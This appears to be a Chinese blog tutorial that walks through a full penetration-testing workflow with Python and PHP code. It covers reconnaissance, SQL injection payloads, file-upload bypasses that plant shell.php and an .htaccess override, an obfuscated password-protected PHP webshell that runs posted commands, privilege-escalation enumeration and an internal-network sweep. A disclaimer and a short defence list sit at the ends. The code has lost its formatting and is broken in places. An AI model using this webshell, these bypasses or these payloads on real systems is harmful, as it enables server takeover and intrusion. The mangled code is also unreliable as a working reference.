摘要:```pythonimport socketimport requestsfrom urllib.parse import urlparsedef gather_info(target_url):"""基础信息收集功能"""print(" 开始信息收集..."
重要声明:本文仅用于教育目的,所有操作必须在获得合法授权后进行。
渗透测试是通过模拟黑客攻击的方式,发现系统中存在的安全漏洞,并评估其潜在影响的一种安全检测方法。
在黑灰行业中,我们经常碰到黑吃黑的情况,从最初的信息搜集到提权攻陷是一个什么样的环节呢?下面给大家展示完整的渗透流程。
一、渗透测试流程
1.信息收集
信息收集是渗透测试的第一步,也是最为关键的一步。前期信息收集越多,渗透成功率越高。
```pythonimport socketimport requestsfrom urllib.parse import urlparsedef gather_info(target_url):"""基础信息收集功能"""print(" 开始信息收集...")# 获取域名信息parsed_url = urlparse(target_url)domain = parsed_url.netlocip = socket.gethostbyname(domain)print(f"[+] 目标域名: {domain}")print(f"[+] 真实IP: {ip}")# 端口扫描print(" 开始端口扫描...")common_ports = [21, 22, 23, 80, 443, 3306, 3389]for port in common_ports:sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.settimeout(1)result = sock.connect_ex((ip, port))if result == 0:print(f"[+] 端口 {port} 开放")sock.close# 尝试识别CMStry:response = requests.get(target_url, timeout=5)headers = response.headersif 'Server' in headers:print(f"[+] 服务器信息: {headers['Server']}")if 'X-Powered-By' in headers:print(f"[+] 技术栈: {headers['X-Powered-By']}")except Exception as e:print(f"[-] 信息收集错误: {e}")if __name__ == "__main__":target = "http://example.com" # 替换为授权测试目标gather_info(target)```信息收集阶段需要获取的内容包括:
- DNS信息:真实IP、子域名、旁站、C段
- 服务器信息:操作系统、Web容器、数据库类型
- 应用信息:CMS类型、框架版本、目录结构
2.漏洞扫描与利用
通过自动化工具和手动测试结合的方式,发现目标系统中的安全漏洞。
SQL注入漏洞检测,SQL注入是最常见的Web漏洞之一,可使攻击者直接访问数据库。
```pythonimport requestsdef test_sql_injection(target_url, param):"""简单的SQL注入检测"""# SQL注入payload列表payloads = ["' OR '1'='1' --","' UNION SELECT 1,2,3 --","' AND 1=CAST((SELECT version) AS INT) --"]for payload in payloads:test_url = f"{target_url}?{param}={payload}"try:response = requests.get(test_url, timeout=5)if "error" in response.text.lower or "sql" in response.text.lower:print(f"[!] 可能的SQL注入漏洞: {payload}")elif response.status_code == 500:print(f"[!] 服务器错误,可能存在漏洞: {payload}")except Exception as e:print(f"[-] 测试失败: {e}")# 使用示例target_url = "http://example.com/page.php"param = "id"test_sql_injection(target_url, param)```3.文件上传漏洞利用
文件上传功能如果没有严格过滤,可能导致任意文件上传,进而获取服务器权限。
```pythonimport requestsdef upload_webshell(target_url, allowed_extension='.jpg'):"""尝试绕过文件上传限制"""# 简单的WebShellwebshell = ""# 尝试不同的绕过技术bypass_techniques = [{"file": ("shell.php", webshell, "image/jpeg")},{"file": ("shell.php.jpg", webshell, "image/jpeg")},{"file": ("shell.jpg.php", webshell, "image/jpeg")},{"file": (".htaccess", "AddType application/x-httpd-php .jpg", "text/plain")}]for technique in bypass_techniques:try:response = requests.post(target_url, files=technique, timeout=5)if response.status_code == 200:print(f"[+] 上传可能成功: {technique}")except Exception as e:print(f"[-] 上传失败: {e}")# 使用示例upload_url = "http://example.com/upload.php"upload_webshell(upload_url)```4.权限提升与后渗透
获取初步访问权限后,需要提升权限并维持访问,简单的PHP WebShell:
```phppass = "5f4dcc3b5aa765d61d8327deb882cf99"; // password的MD5$A = chr(0x73); // s$B = chr(0x79); // y$X = chr(0x74); // t$D = chr(0x65); // e$E = chr(0x6d); // m$hook = $A.$B.$A.$X.$D.$E; // systemif($pass == md5($_POST['pass'])){$hook($_POST['cmd']);} else {echo ""; echo "Password:"; echo "Command:
"; echo ""; echo "";}?>```
5.权限提升尝试
```python# 常见的Linux权限提升检查脚本片段import osdef check_privilege_escalation:"""检查常见的权限提升可能性"""print(" 检查权限提升机会...")# 检查SUID文件os.system("find / -perm -4000 2>/dev/null")# 检查可写文件os.system("find / -writable 2>/dev/null | head -n 20")# 检查进程信息os.system("ps aux | grep root")```6.内网渗透
获取目标服务器权限后,可进一步探索内网环境。
```python# 内网主机发现import threadingfrom concurrent.futures import ThreadPoolExecutordef ping_host(ip):"""使用ping检测主机存活"""response = os.system(f"ping -c 1 -W 1 {ip} > /dev/null 2>&1")if response == 0:print(f"[+] 主机存活: {ip}")def discover_network(network_prefix):"""发现内网存活主机"""print(f" 开始扫描网络: {network_prefix}.0/24")with ThreadPoolExecutor(max_workers=50) as executor:for i in range(1, 255):ip = f"{network_prefix}.{i}"executor.submit(ping_host, ip)# 使用示例# discover_network("192.168.1")```对于企业而言,如何防止黑灰人盯上?黑灰经认为可采取以下几点安全防护措施:
1. 输入验证与过滤:对所有用户输入进行严格验证
2. 最小权限原则:应用程序和服务应运行在最小必要权限下
3. 定期更新与补丁管理:及时修复已知漏洞
4. 安全配置:强化服务器和应用程序配置
5. 日志监控:建立安全监控和告警机制
渗透测试是网络安全防御体系的重要组成部分,大家需要切记渗透测试必须在获得明确授权的前提下进行,并遵守相关法律法规。
来源:有趣的科技君